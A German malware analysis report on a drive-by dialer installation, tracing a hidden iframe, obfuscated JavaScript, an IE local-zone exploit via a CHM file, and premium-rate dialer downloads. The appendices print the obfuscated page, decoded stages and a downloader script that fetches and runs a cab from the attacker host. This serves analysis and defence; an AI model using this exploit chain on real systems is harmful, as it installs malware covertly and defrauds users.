Analyse Exploit/Dialerinstallation

Bei dem Besuch der Webseite http://www.$STARTURL.com/index.html befindet sich im HTML-Quelltext ein IFRAME Kommando, welches für den Benutzer unbemerkt die Seite http://www.$STARTURL.com/sex.html aufruft und darin enthaltenes JavaScript ausführt. Dieser JavaScript enthält ein speziell kodiertes Script, das per Exploit eine Datei exploit.htm in der lokalen Sicherheitszone eines attakierten PCs ausführt, die normalerweise die Ausführung von ActiveX Applikationen ohne nennenswerte Restriktionen zulässt. Details entnehmen Sie bitte den Anhängen A-H. Der Exploit wird von CERT meines Erachtens als Vulnerability VU#323070 geführt, siehe http://www.kb.cert.org/vuls/id/323070 . Dabei wird eine Installationsdatei info6_s.cab von der URL heruntergeladen und installiert. Dabei werden etliche Dateien aus dem Internet vom Rechner $DOWNLOADURL.nu heruntergeladen, siehe Screenshot des Logs des Netzwerkanalyserprogrammes Ethereal.
Zunächst wird eine Datei files von http://$DOWNLOADURL.nu/cust/20/files heruntergeladen, die die Namen der zu installierenden/auszuführenden Dateien enthält.
Dabei handelt es sich insbesondere um ein Dialer-Programm dialerX.exe und ein Programm svchost.exe, welches unter bestimmten Bedingungen die Rufnummer der Standard-DFÜ Verbindung verändert. Gleichzeitig werden eine Reihe von Text Dateien heruntergeladen, die die von den beiden Programmen zu verwendenden Rufnummern enthalten. Das verwendete Format besteht aus durch Semikolon getrennten Feldern, wobei das 2. Feld die Rufnummer enthält. Dabei erhält man die Rufnummer, indem man jeden 2. Buchstaben aneinanderhängt. Diese Rufnummern werden dabei teilweise nach Land der IP Adresse getrennt, wobei eine Umleitung von /GeoIP/country.asp?$file auf /cust/$CC/$file erfolgt, wobei $CC den Zwei-Buchstaben Länderbezeichnungen entspricht (e.g. DE,AT,CH,GB,FR,NL,BE,US) und $file der Name der Datei ist. Dabei verwendet dialerX.exe die Dateien mWinXpD.txt (Rufnummer 090090000957) und mWinXpD2.txt (Rufnummer 090090000957, 0037270220302), und svchost.exe die Datei mWinXp.txt (Rufnummern 090090000957, 090090000958).

Anhang A: In der URL http://www.$STARTURL.com/index.html versteckter IFRAME Befehl

```
<iframe src="http://www.$STARTURL.com/sex.html" frameborder=0 vspace
=0 hspace=0 width=0 height=0 marginwidth=0 marginheight=0 scrolling=no></iframe>
```

Anhang B: Kompletter Quelltext der URL http://www.$STARTURL.com/sex.html

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>SEX SEX
SEX</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
1"></head><body><script>function o(e,s){if (!s)s='&%/#(")!=?qwertyuioplkjhgfdsa1234567890-.,
mnbvcxzASDFGHJKLPOIUYT';var b;var d='';for(var i=0;i<e.length;i+=o.toString().length-532){b=
(s.indexOf(e.charAt(i))&255)<<18|(s.indexOf(e.charAt(i+1))&255)<<12|(s.indexOf(e.charAt
(i+2))&255)<<6|s.indexOf(e.charAt(i+3))&255;d+=String.fromCharCode((b&16711680)>>16,
(b&65280)>>8,b&255);}if(e.charCodeAt(i-2)==61) {eval(d.substring(0,d.length-o.toString().
length+534));}else if(e.charCodeAt(i-1)==61){eval(d.substring(0,d.length-o.toString().
length+535));}else{eval(d);};}o('sS4-k2UukGpvg""fuckUk/v-g9pxKty6kSL&O/v-
gx=AL27SqH1hdYG"v"uAL/U.hk%1IYF.uc,DLkvmkY5sU!y8q2nHq!GlKk%hk(9mv)4Tg8#mTS5"I6x8,tznsF%
laOucdG1swy=Td9JDoj)FdGacutznfHwSe2l7ky"8h2=AP"%fIjInKcvbikpxKtyca(b,d(?mlki8s)?
fO2#7P3g.u9k?st#DOj%iOxsUot,&O"xmaYisPxsU?k'+'hxl"1lOj%ijlw932zTl/DDyG"idY"lg9-AkoAkolkiO
(#n3j,xly!DOoLij3"8oGkzv/OFyHI,IcUihkk?P9%-hlb,d(?bw)SFgt#4qHA1IYF.ucOHToknU9%&O/v-
gx=ALornOG!AIx"8oGh5goxDOjSFIJtFh2wxik!DOkp7k!tFh2=Adnp,OoLidF9kgx=Tl3TDOoL6k#!UwTyxl3GkOHUU
K7"mh2A&gtrlejAsUyI5wywAlhGkutoFP-ybq2,DP"xFaYiUjlw4wtznsF%lU9%6kl?-ik-vsGwSyS9UO
(9mjHbTd0#SqYkuP-&,=j4Tl3!SIjiwkh&,TYLz2DF-w/38g3fDPHpxe2?-O07mdxinLjD5at%xOl-
bk3rfI9p,lc5"TG3Ul3"/KHwGo!vw3oAsw9G&v)&TqS8.wSl5l/t8?S8=');</script><script>try{eval(cs)}
catch(ex){}</script></body></html>
```

Anhang C: Zur Lesbarkeit Reformatierter Quelltext der URL http://www.$STARTURL.com/sex.html

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>SEX SEX SEX</title>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  </head>
  <body>
    <script>
      function o(e,s){ if
      (!s)s='&%/#(")!=?qwertyuioplkjhgfdsa1234567890-.,mnbvcxzASDFGHJKLPOIUYT';
      var b;var d='';
      for(var i=0;i<e.length;i+=o.toString().length-532){
        b=(s.indexOf(e.charAt(i))&255)<<18|(s.indexOf(e.charAt(i+1))&255)<<12|(s.indexOf
(e.charAt(i+2))&255)<<6|s.indexOf(e.charAt(i+3))&255;
        d+=String.fromCharCode((b&16711680)>>16,(b&65280)>>8,b&255); }
        if(e.charCodeAt(i-2)==61) {
           eval(d.substring(0,d.length-o.toString().length+534));
        }else
        if(e.charCodeAt(i-1)==61){
           eval(d.substring(0,d.length-o.toString().length+535));
        }else{
           eval(d); }; }
        o('sS4-k2UukGpvg""fuckUk/v-g9pxKty6kSL&O/v-gx=AL27SqH1hdYG"v"uAL/U.hk%
1IYF.uc,DLkvmkY5sU!y8q2nHq!GlKk%hk(9mv)4Tg8#mTS5"I6x8,tznsF%laOucdG1swy=Td9JDoj)
FdGacutznfHwSe2l7ky"8h2=AP"%fIjInKcvbikpxKtyca(b,d(?mlki8s)?fO2#7P3g.u9k?st#DOj%
iOxsUot,&O"xmaYisPxsU?k'+'hxl"1lOj%ijlw932zTl/DDyG"idY"lg9-AkoAkolkiO
(#n3j,xly!DOoLij3"8oGkzv/OFyHI,IcUihkk?P9%-hlb,d(?bw)SFgt#4qHA1IYF.ucOHToknU9%&O/v-
gx=ALornOG!AIx"8oGh5goxDOjSFIJtFh2wxik!DOkp7k!tFh2=Adnp,OoLidF9kgx=Tl3TDOoL6k#!UwTyxl3GkOHUU
K7"mh2A&gtrlejAsUyI5wywAlhGkutoFP-ybq2,DP"xFaYiUjlw4wtznsF%lU9%6kl?-ik-vsGwSyS9UO
(9mjHbTd0#SqYkuP-&,=j4Tl3!SIjiwkh&,TYLz2DF-w/38g3fDPHpxe2?-O07mdxinLjD5at%xOl-
bk3rfI9p,lc5"TG3Ul3"/KHwGo!vw3oAsw9G&v)&TqS8.wSl5l/t8?S8=');
    </script>
    <script>
      try{eval(cs)}catch(ex){}
    </script>
  </body>
</html>
```

Anhang D: String d aus der Funktion o() aus http://www.$STARTURL.com/sex.html nach 1. Rekursion

```
o('U?PWT?`QYB?}T+gbT????W.@?+gb?1???+gWk?E?T1?/h]P]??(B?s?[jW?[?s?)??(}T?PWTIj?h?b@??
(E?+???+o@Ts?.kW[,??j]?Ia?kW.@?+gb?1?#T?d]?1?PY?o+??lET????pK)hBjQTdlbY?????
(BUIl???`Q???H?@?[?s?[???%U?PWT?`QYB?}??P,??QQk?TbY?U,UIEQ?@?}joP???.QY?dKUp?.??o)??Q]UI?Pg]
K)hBl,l?`??+l]??(B???%k?P@?+gb?1?#k?Q???dKU?a+??l??s?]??EQ??T?Ts?]?
1j???.QkIUb??Q???.bT1?/??Q?U?o}?1j]?@`?T1l[??!,??Q}U@???s?)?s?[?s?}YB?,?+o@T?PbUBgEY?oR??)}?
Ij[k?j`?+?P?p)!h?Q???dKUp)??p{=','?a?s?d?1?g?h?j?k?l?p?o?I?U?Y?T?R?E?W?Q?B?b?H{K},[.]@?`?+)
(/%!P#?')
```

Anhang E: String d aus der Funktion o() aus http://www.$STARTURL.com/sex.html nach 2. Rekursion

```
document.write("<script src=http://$DOWNLOADURL.nu/cust/js2.asp?cust=1></script><script>var
x=new Date();x.setTime(x.getTime()+3600000);
document.cookie='infoexec1.5_filename=1;expires='+x.toGMTString();</script><iframe width=2
height=2 style=visibility:hidden
src=http://$DOWNLOADURL.nu/cust/iframe_sn.asp?cust=1></iframe>");
```

Anhang F: Quelltext der URL http://$DOWNLOADURL.nu/cust/js2.asp?cust=1

```
cs ='var x=new Date();x.setTime(x.getTime()+60*60*1000);
document.cookie="infoexec1.5_filename=1; expires=" + x.toGMTString();';
```

Anhang G: Quelltext der URL http://$DOWNLOADURL.nu/cust/iframe_sn.asp?cust=1

```
<head>
<xml:namespace prefix="RS"><style type="text/css">@media all {RS\:clientcaps {behavior:url
(#default#clientcaps)}}</style></xml:namespace><RS:clientcaps id="caps" />
</head>
<body>
<iframe id=if1></iframe>
<script>
isopen=false;
openinsearch=false;
usecache=false;

function generic() {

}

onerror=generic;
  if (  (typeof(caps.connectionType)=='undefined') ||
                  (caps.connectionType!='lan'))
 {
        var out='', txt='=pckfdu!ebub>#nt.jut;niunm;gjmf;00D;]]
gpp/niu"iuuq;00sjoh1517919191/ov0dvtu0FYQMPJU`T/DIN;;0fyqmpju/iun#!uzqf>#ufyu0y.tdsjqumfu#?'
;
        for (i=0; i < txt.length; i++) { octet = txt.charCodeAt(i); out+=
String.fromCharCode(octet-1);}
        document.write(out);
 } else {
   document.write('No Access');
 }
</script>
```

Anhang G: Variable out aus dem Script http://$DOWNLOADURL.nu/cust/iframe_sn.asp?cust=1

```
<object data="ms-
its:mhtml:file://C:\\foo.mht!http://$DOWNLOADURL.nu/cust/EXPLOIT_S.CHM::/exploit.htm"
type="text/x-scriptlet">
```

Anhang H: Datei exploit.htm, enthalten in http://$DOWNLOADURL.nu/cust/EXPLOIT_S.CHM

```
<SCRIPT language=javascript>

    payloadURL = 'http://$DOWNLOADURL.nu/cust/info6_s.cab';
        var x = new ActiveXObject("Microsoft.XMLHTTP");
        x.Open("GET",payloadURL,0);
        x.Send();
    try {
        var s = new ActiveXObject("ADODB.Stream");
            s.Mode = 3;
            s.Type = 1;
            s.Open();
            s.Write(x.responseBody);
            s.SaveToFile("C:\\info6_s.cab",2);
    }
    catch(ex) {
            var f0=new ActiveXObject("Microsoft.XMLHTTP");
            f0.Open("GET",payloadURL, false);
            f0.Send();
            xxy=GetObject("C:/WINDOWS/Tempor~1/Content.IE5/INDEX.DAT","htmlfile");
            var x=setTimeout("iecache_step2();",1000);
    }


    function iecache_step2(){
            var aa=xxy.body.innerText.substr(30,80).match(/[A-Z0-9]{8}/g);
            for(var ii=0;ii<4;ii++) {
                ifr.document.write('<OBJECT CLASSID=clsid:11111111-1111-1111-1111-
111111113456 CODEBASE=C:/WINDOWS/Tempor~1/Content.IE5/' + aa[ii] + '/info6_s[1].cab
ID=i></OBJECT>');
            }
    }
</SCRIPT>
<OBJECT CLASSID=clsid:11111111-1111-1111-1111-111111113456 CODEBASE=c:/info6_s.cab
ID=i></OBJECT>
```

Anhang I: Ethereal Log der HTTP Requests bei Ausführung der Installation von info6_s.cab

```
HTTP    GET /cust/20/files HTTP/1.1
HTTP    HTTP/1.1 304 Not Modified
HTTP    GET /cust/20/mwinxp.txt HTTP/1.1
HTTP    HTTP/1.1 302 Object Moved
HTTP    GET /cust/20/mwinxp.txt/ HTTP/1.1
HTTP    HTTP/1.1 200 OK
HTTP    GET /cust/20/mwinxpD.txt HTTP/1.1
HTTP    HTTP/1.1 302 Object Moved
HTTP    GET /cust/20/mwinxpD.txt/ HTTP/1.1
HTTP    HTTP/1.1 200 OK
HTTP    GET /cust/20/mwinxpD2.txt HTTP/1.1
HTTP    HTTP/1.1 302 Object Moved
HTTP    GET /cust/20/mwinxpD2.txt/ HTTP/1.1
HTTP    HTTP/1.1 200 OK
HTTP    GET /GeoIP/country.asp?file=mwinxp.txt HTTP/1.1
HTTP    HTTP/1.1 302 Object moved
HTTP    GET /cust/DE/mwinxp.txt HTTP/1.1
HTTP    HTTP/1.1 302 Object Moved
HTTP    GET /cust/DE/mwinxp.txt/ HTTP/1.1
HTTP    HTTP/1.1 200 OK
HTTP    GET /GeoIP/country.asp?file=mwinxpd.txt HTTP/1.1
HTTP    HTTP/1.1 302 Object moved
HTTP    GET /cust/DE/mwinxpd.txt HTTP/1.1
HTTP    HTTP/1.1 302 Object Moved
HTTP    GET /cust/DE/mwinxpd.txt/ HTTP/1.1
HTTP    HTTP/1.1 200 OK
HTTP    GET /cust/20/svchost.exe HTTP/1.1
HTTP    HTTP/1.1 304 Not Modified
HTTP    GET /cust/20/dialerX.exe HTTP/1.1
HTTP    HTTP/1.1 304 Not Modified
HTTP    GET /cust/20/switchagreement.txt HTTP/1.1
HTTP    HTTP/1.1 304 Not Modified
```

Anhang J: Informationsfenster von 0900Warner nach Ausführen der Links zu dialerX.exe